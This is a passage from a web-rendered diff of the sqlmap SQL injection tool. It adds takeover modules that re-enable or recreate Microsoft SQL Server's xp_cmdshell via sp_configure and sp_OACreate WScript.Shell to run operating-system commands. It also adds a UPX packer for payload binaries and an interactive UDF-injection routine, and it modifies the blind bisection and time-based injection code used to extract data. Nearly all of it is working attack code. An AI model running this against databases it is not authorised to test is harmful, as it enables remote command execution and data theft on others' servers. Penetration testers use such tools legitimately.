logger.warn("you need to specify the data-type of the parameter")
else:
self.udfs[udfName]["input"].append(parType)
break
msg = "what is the data-type of the return "
msg += "value? (default: %s) " % defaultType
while True:
retType = readInput(msg, default=defaultType)
if isinstance(retType, str) and retType.isdigit():
logger.warn("you need to specify the data-type of the return value")
else:
self.udfs[udfName]["return"] = retType
break
self.udfInjectCore(self.udfs)
msg = "do you want to call your injected user-defined "
msg += "functions now? [Y/n/q] "
choice = readInput(msg, default="Y")
if choice[0] not in ( "y", "Y" ):
self.cleanup(udfDict=self.udfs)
return
while True:
udfList = []
msg = "which UDF do you want to call?"
for udf, inpRet in self.udfs.items():
udfList.append(udf)
msg += "\n[%d] %s" % (len(udfList), udf)
msg += "\n[q] Quit"
while True:
choice = readInput(msg)
if choice[0] in ( "q", "Q" ):
break
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
choice = int(choice)
break
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
break
else:
warnMsg = "invalid value, only digits >= 1 and "
warnMsg += "<= %d are allowed" % len(udfList)
logger.warn(warnMsg)
cmd = ""
count = 1
udfToCall = udfList[choice - 1]
for inp in self.udfs[udfToCall]["input"]:
msg = "what is the value of the parameter number "
msg += "%d (data-type: %s)? " % (count, inp)
while True:
parValue = readInput(msg)
if parValue:
if "int" not in inp and "bool" not in inp:
parValue = "'%s'" % parValue
cmd += "%s," % parValue
break
else:
logger.warn("you need to specify the value of the parameter")
count += 1
cmd = cmd[:-1]
msg = "do you want to retrieve the return value of the "
msg += "UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] in ("y", "Y"):
output = self.udfEvalCmd(cmd, udfName=udfToCall)
if output:
dumper.string("return value", output)
else:
print "No return value"
else:
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
msg = "do you want to call this or another injected UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] not in ("y", "Y"):
break
self.cleanup(udfDict=self.udfs)

102
lib/takeover/upx.py Normal file
View File

@@ -0,0 +1,102 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import time
from subprocess import PIPE
from subprocess import STDOUT
from subprocess import Popen as execute
from lib.core.common import dataToStdout
from lib.core.common import pollProcess
from lib.core.data import logger
from lib.core.data import paths
from lib.core.settings import PLATFORM
class UPX:
"""
This class defines methods to compress binary files with UPX (Ultimate
Packer for eXecutables).
Reference:
* http://upx.sourceforge.net
"""
def __initialize(self, srcFile, dstFile=None):
if "darwin" in PLATFORM:
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
elif "win" in PLATFORM:
self.__upxPath = "%s\upx\windows\upx.exe" % paths.SQLMAP_CONTRIB_PATH
elif "linux" in PLATFORM:
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
else:
warnMsg = "unsupported platform for the compression tool "
warnMsg += "(upx), sqlmap will continue anyway"
logger.warn(warnMsg)
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
if dstFile:
self.__upxCmd += " -o %s" % dstFile
def pack(self, srcFile, dstFile=None):
self.__initialize(srcFile, dstFile)
logger.debug("executing local command: %s" % self.__upxCmd)
process = execute(self.__upxCmd, shell=True, stdout=PIPE, stderr=STDOUT)
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
pollProcess(process)
upxStdout, upxStderr = process.communicate()
msg = "failed to compress the file"
if "NotCompressibleException" in upxStdout:
msg += " because you provided a Metasploit version above "
msg += "3.3-dev revision 6681. This will not inficiate "
msg += "the correct execution of sqlmap. It might "
msg += "only slow down a bit the execution"
logger.debug(msg)
elif upxStderr:
logger.warn(msg)
else:
return os.path.getsize(srcFile)
return None
def unpack(self, srcFile, dstFile=None):
pass
def verify(self, filePath):
pass
upx = UPX()

207
lib/takeover/xp_cmdshell.py Normal file
View File

@@ -0,0 +1,207 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.blind.timebased import timeUse
class xp_cmdshell:
"""
This class defines methods to deal with Microsoft SQL Server
xp_cmdshell extended procedure for plugins.
"""
def __init__(self):
self.xpCmdshellStr = "master..xp_cmdshell"
def __xpCmdshellCreate(self):
cmd = ""
if kb.dbmsVersion[0] in ( "2005", "2008" ):
logger.debug("activating sp_OACreate")
cmd += "EXEC master..sp_configure 'show advanced options', 1; "
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd += "EXEC master..sp_configure 'ole automation procedures', 1; "
cmd += "RECONFIGURE WITH OVERRIDE; "
self.xpCmdshellExecCmd(cmd)
self.__randStr = randomStr(lowercase=True)
cmd += "declare @%s nvarchar(999); " % self.__randStr
cmd += "set @%s='" % self.__randStr
cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT "
cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 "
cmd += "EXEC sp_OADestroy @ID'; "
cmd += "EXEC master..sp_executesql @%s;" % self.__randStr
if kb.dbmsVersion[0] in ( "2005", "2008" ):
cmd += " RECONFIGURE WITH OVERRIDE;"
self.xpCmdshellExecCmd(cmd)
def __xpCmdshellConfigure2005(self, mode):
debugMsg = "configuring xp_cmdshell using sp_configure "
debugMsg += "stored procedure"
logger.debug(debugMsg)
cmd = "EXEC master..sp_configure 'show advanced options', 1; "
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd += "EXEC master..sp_configure 'xp_cmdshell', %d " % mode
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd += "EXEC sp_configure 'show advanced options', 0"
return cmd
def __xpCmdshellConfigure2000(self, mode):
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
debugMsg += "stored procedure"
logger.debug(debugMsg)
if mode == 1:
cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
cmd += "@dllname='xplog70.dll'"
else:
cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
return cmd
def __xpCmdshellConfigure(self, mode):
if kb.dbmsVersion[0] in ( "2005", "2008" ):
cmd = self.__xpCmdshellConfigure2005(mode)
else:
cmd = self.__xpCmdshellConfigure2000(mode)
self.xpCmdshellExecCmd(cmd)
def __xpCmdshellCheck(self):
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
duration = timeUse(query)
if duration >= conf.timeSec:
return True
else:
return False
def xpCmdshellForgeCmd(self, cmd):
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
if forgeCmd:
cmd = self.xpCmdshellForgeCmd(cmd)
cmd = urlencode(cmd, convall=True)
inject.goStacked(cmd, silent)
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
self.getRemoteTempPath()
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
self.xpCmdshellExecCmd(cmd)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
self.delRemoteFile(tmpFile)
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)):
output = output[0]
if isinstance(output, (list, tuple)):
output = output[0]
return output
def xpCmdshellInit(self, mandatory=True):
self.__xpCmdshellAvailable = False
infoMsg = "checking if xp_cmdshell extended procedure is "
infoMsg += "available, wait.."
logger.info(infoMsg)
result = self.__xpCmdshellCheck()
if result:
logger.info("xp_cmdshell extended procedure is available")
self.__xpCmdshellAvailable = True
else:
message = "xp_cmdshell extended procedure does not seem to "
message += "be available. Do you want sqlmap to try to "
message += "re-enable it? [Y/n] "
choice = readInput(message, default="Y")
if not choice or choice in ("y", "Y"):
self.__xpCmdshellConfigure(1)
if self.__xpCmdshellCheck():
logger.info("xp_cmdshell re-enabled successfully")
self.__xpCmdshellAvailable = True
else:
logger.warn("xp_cmdshell re-enabling failed")
logger.info("creating xp_cmdshell with sp_OACreate")
self.__xpCmdshellConfigure(0)
self.__xpCmdshellCreate()
if self.__xpCmdshellCheck():
logger.info("xp_cmdshell created successfully")
self.__xpCmdshellAvailable = True
else:
warnMsg = "xp_cmdshell creation failed, probably "
warnMsg += "because sp_OACreate is disabled"
logger.warn(warnMsg)
if not self.__xpCmdshellAvailable and not mandatory:
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
warnMsg += "try to proceed without it"
logger.warn(warnMsg)
self.envInitialized = True
elif not self.__xpCmdshellAvailable:
errMsg = "unable to proceed without xp_cmdshell"
raise sqlmapUnsupportedFeatureException, errMsg
self.envInitialized = True
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import threading import threading
import time import time
import traceback import traceback
@@ -31,6 +29,7 @@ import traceback
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getCharset
from lib.core.common import replaceNewlineTabs from lib.core.common import replaceNewlineTabs
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -42,27 +41,45 @@ from lib.core.exception import unhandledException
from lib.core.progress import ProgressBar from lib.core.progress import ProgressBar
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
def bisection(payload, expression, length=None):
""" """
Bisection algorithm that can be used to perform blind SQL injection Bisection algorithm that can be used to perform blind SQL injection
on an affected host on an affected host
""" """
partialValue = "" partialValue = ""
finalValue = "" finalValue = ""
asciiTbl = getCharset(charsetType)
if "LENGTH(" in expression or "LEN(" in expression:
firstChar = 0
elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, str) and conf.firstChar.isdigit() ) ):
firstChar = int(conf.firstChar) - 1
elif firstChar is None:
firstChar = 0
elif ( isinstance(firstChar, str) and firstChar.isdigit() ) or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
if "LENGTH(" in expression or "LEN(" in expression:
lastChar = 0
elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, str) and conf.lastChar.isdigit() ) ):
lastChar = int(conf.lastChar)
elif lastChar in ( None, "0" ):
lastChar = 0
elif ( isinstance(lastChar, str) and lastChar.isdigit() ) or isinstance(lastChar, int):
lastChar = int(lastChar)
if kb.dbmsDetected: if kb.dbmsDetected:
_, _, _, _, fieldToCastStr = agent.getFields(expression) _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr) nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced) expressionUnescaped = unescaper.unescape(expressionReplaced)
else: else:
expressionUnescaped = unescaper.unescape(expression) expressionUnescaped = unescaper.unescape(expression)
infoMsg = "query: %s" % expressionUnescaped debugMsg = "query: %s" % expressionUnescaped
logger.info(infoMsg) logger.debug(debugMsg)
if length and not isinstance(length, int) and length.isdigit(): if length and not isinstance(length, int) and length.isdigit():
length = int(length) length = int(length)
@@ -70,15 +87,18 @@ def bisection(payload, expression, length=None):
if length == 0: if length == 0:
return 0, "" return 0, ""
showEta = conf.eta and length if lastChar > 0 and length > ( lastChar - firstChar ):
length = ( lastChar - firstChar )
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length) numThreads = min(conf.threads, length)
threads = [] threads = []
if showEta: if showEta:
progress = ProgressBar(maxValue=length) progress = ProgressBar(maxValue=length)
progressTime = [] progressTime = []
if conf.verbose in ( 1, 2 ) and not showEta: if conf.verbose >= 1 and not showEta:
if isinstance(length, int) and conf.threads > 1: if isinstance(length, int) and conf.threads > 1:
infoMsg = "starting %d threads" % numThreads infoMsg = "starting %d threads" % numThreads
logger.info(infoMsg) logger.info(infoMsg)
@@ -89,33 +109,29 @@ def bisection(payload, expression, length=None):
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X")) dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
queriesCount = [0] # As list to deal with nested scoping rules queriesCount = [0] # As list to deal with nested scoping rules
def getChar(idx, asciiTbl=asciiTbl):
maxValue = asciiTbl[len(asciiTbl)-1]
def getChar(idx):
maxValue = 127
minValue = 0 minValue = 0
while (maxValue - minValue) != 1: while len(asciiTbl) != 1:
queriesCount[0] += 1 queriesCount[0] += 1
limit = ((maxValue + minValue) / 2) position = (len(asciiTbl) / 2)
posValue = asciiTbl[position]
forgedPayload = payload % (expressionUnescaped, idx, posValue)
result = Request.queryPage(forgedPayload)
forgedPayload = payload % (expressionUnescaped, idx, limit) if result:
minValue = posValue
result = Request.queryPage(forgedPayload) asciiTbl = asciiTbl[position:]
if result == kb.defaultResult:
minValue = limit
else: else:
maxValue = limit maxValue = posValue
asciiTbl = asciiTbl[:position]
if (maxValue - minValue) == 1: if len(asciiTbl) == 1:
# NOTE: this first condition should never occur
if maxValue == 1: if maxValue == 1:
return None return None
else: else:
return chr(minValue + 1) return chr(minValue + 1)
def etaProgressUpdate(charTime, index): def etaProgressUpdate(charTime, index):
if len(progressTime) <= ( (length * 3) / 100 ): if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0 eta = 0
@@ -127,48 +143,40 @@ def bisection(payload, expression, length=None):
progressTime.append(charTime) progressTime.append(charTime)
progress.update(index) progress.update(index)
progress.draw(eta) progress.draw(eta)
if conf.threads > 1 and isinstance(length, int) and length > 1: if conf.threads > 1 and isinstance(length, int) and length > 1:
value = [None] * length value = [ None ] * length
index = [0] # As list for python nested function scoping index = [ firstChar ] # As list for python nested function scoping
idxlock = threading.Lock() idxlock = threading.Lock()
iolock = threading.Lock() iolock = threading.Lock()
def downloadThread(): def downloadThread():
while True: try:
idxlock.acquire() while True:
idxlock.acquire()
if index[0] >= length: if index[0] >= length:
idxlock.release()
return
index[0] += 1
curidx = index[0]
idxlock.release() idxlock.release()
return charStart = time.time()
val = getChar(curidx)
index[0] += 1 if val is None:
curidx = index[0] raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
idxlock.release()
charStart = time.time() value[curidx-1] = val
val = getChar(curidx)
if val == None: if showEta:
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length) etaProgressUpdate(time.time() - charStart, index[0])
elif conf.verbose >= 1:
value[curidx-1] = val s = "".join([c or "_" for c in value])
iolock.acquire()
if showEta: dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
etaProgressUpdate(time.time() - charStart, index[0]) iolock.release()
elif conf.verbose in ( 1, 2 ):
s = "".join([c or "_" for c in value])
iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
iolock.release()
def downloadThreadProxy(numThread):
try:
downloadThread()
except (sqlmapConnectionException, sqlmapValueException), errMsg: except (sqlmapConnectionException, sqlmapValueException), errMsg:
conf.threadException = True conf.threadException = True
@@ -192,11 +200,9 @@ def bisection(payload, expression, length=None):
errMsg = unhandledException() errMsg = unhandledException()
logger.error("thread %d: %s" % (numThread + 1, errMsg)) logger.error("thread %d: %s" % (numThread + 1, errMsg))
traceback.print_exc() traceback.print_exc()
# Start the threads # Start the threads
for numThread in range(numThreads): for numThread in range(numThreads):
thread = threading.Thread(target=downloadThreadProxy(numThread)) thread = threading.Thread(target=downloadThread)
thread.start() thread.start()
threads.append(thread) threads.append(thread)
@@ -208,7 +214,7 @@ def bisection(payload, expression, length=None):
# can mean that the connection to the target url was lost # can mean that the connection to the target url was lost
if None in value: if None in value:
for v in value: for v in value:
if isinstance(v, str) and v != None: if isinstance(v, str) and v is not None:
partialValue += v partialValue += v
if partialValue: if partialValue:
@@ -221,18 +227,18 @@ def bisection(payload, expression, length=None):
if isinstance(finalValue, str) and len(finalValue) > 0: if isinstance(finalValue, str) and len(finalValue) > 0:
dataToSessionFile(replaceNewlineTabs(finalValue)) dataToSessionFile(replaceNewlineTabs(finalValue))
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg: if conf.verbose >= 1 and not showEta and infoMsg:
dataToStdout(infoMsg) dataToStdout(infoMsg)
else: else:
index = 0 index = firstChar
while True: while True:
index += 1 index += 1
charStart = time.time() charStart = time.time()
val = getChar(index) val = getChar(index, asciiTbl)
if val == None: if val is None or ( lastChar > 0 and index > lastChar ):
break break
finalValue += val finalValue += val
@@ -241,10 +247,10 @@ def bisection(payload, expression, length=None):
if showEta: if showEta:
etaProgressUpdate(time.time() - charStart, index) etaProgressUpdate(time.time() - charStart, index)
elif conf.verbose in ( 1, 2 ): elif conf.verbose >= 1:
dataToStdout(val) dataToStdout(val)
if conf.verbose in ( 1, 2 ) or showEta: if conf.verbose >= 1 or showEta:
dataToStdout("\n") dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3: if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,26 +22,21 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import time import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import getDelayQuery
from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import SECONDS
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def timeTest(): def timeTest():
infoMsg = "testing time based blind sql injection on parameter " infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with AND condition syntax" % kb.injParameter infoMsg += "'%s' with AND condition syntax" % kb.injParameter
logger.info(infoMsg) logger.info(infoMsg)
timeQuery = queries[kb.dbms].timedelay % SECONDS timeQuery = getDelayQuery()
query = agent.prefixQuery(" AND %s" % timeQuery) query = agent.prefixQuery(" AND %s" % timeQuery)
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
@@ -49,7 +44,7 @@ def timeTest():
_ = Request.queryPage(payload) _ = Request.queryPage(payload)
duration = int(time.time() - start) duration = int(time.time() - start)
if duration >= SECONDS: if duration >= conf.timeSec:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with AND condition syntax" infoMsg += "based blind sql injection with AND condition syntax"
logger.info(infoMsg) logger.info(infoMsg)
@@ -69,7 +64,7 @@ def timeTest():
payload, _ = inject.goStacked(timeQuery) payload, _ = inject.goStacked(timeQuery)
duration = int(time.time() - start) duration = int(time.time() - start)
if duration >= SECONDS: if duration >= conf.timeSec:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with stacked query syntax" infoMsg += "based blind sql injection with stacked query syntax"
logger.info(infoMsg) logger.info(infoMsg)
@@ -83,3 +78,9 @@ def timeTest():
kb.timeTest = False kb.timeTest = False
return kb.timeTest return kb.timeTest
def timeUse(query):
start = time.time()
_, _ = inject.goStacked(query)
duration = int(time.time() - start)
return duration

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

Some files were not shown because too many files have changed in this diff Show More